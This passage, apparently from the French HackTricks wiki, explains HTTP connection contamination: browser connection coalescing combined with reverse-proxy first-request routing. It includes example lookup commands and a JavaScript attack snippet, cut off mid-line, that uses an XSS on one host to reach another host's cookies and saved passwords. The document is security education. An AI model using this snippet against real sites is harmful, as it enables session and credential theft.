# Contamination de connexion HTTP
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Les navigateurs Web utilisent la [**cohérence de connexion HTTP**](https://daniel.haxx.se/blog/2016/08/18/http2-connection-coalescing), qui leur permet de **réutiliser** une seule **connexion HTTP/2+** pour les demandes allant à **différents sites Web**, à condition que les sites **se résolvent à la même adresse IP** et utilisent un certificat TLS valide pour les deux noms d'hôte. Le **routage de la première demande** est un comportement de proxy inverse dangereux où le **proxy analyse la première demande** sur une connexion pour déterminer **quel backend** y acheminer, puis **envoie** toutes les **demandes suivantes** sur cette connexion au **même backend**. **La cohérence de connexion et le routage de la première demande ne fonctionnent pas bien ensemble**. Par exemple, imaginez que secure.example.com et wordpress.example.com sont tous deux derrière un proxy inverse utilisant un certificat valide pour \*.example.com : ```shell-session $ nslookup wordpress.example.com 52.16.179.7 // reverse proxy that supports HTTP/2 and does first-request routing $ nslookup secure.example.com 52.16.179.7 // same reverse proxy $ openssl s_client -connect x.portswigger-labs.net:443 subject=/CN=*.example.com // wildcard TLS certificate ``` Si un navigateur tente d'envoyer une demande à **wordpress.example.com** suivie de **secure.example.com**, la fusion de la connexion du navigateur forcera **les deux demandes à utiliser une seule connexion** vers le frontal. Le routage de la première demande entraînera la **demande de secure.example.com étant incorrectement routée vers le backend de WordPress**. Cela signifie que si vous trouvez une [XSS](https://portswigger.net/web-security/cross-site-scripting) sur wordpress.example.com, vous pouvez l'utiliser pour compromettre secure.example.com ! ```javascript // create HTTP/2+ connection fetch('https://wordpress.example.com/', {credentials: 'include'}) // connection coalescing will force this down the same connection... // ...leading to the front-end misrouting it to WordPress // the browser thinks our injected JS is coming from secure.example.com // exposing saved passwords, cookies, etc. location='https://secure.example.com/plugin/x?q=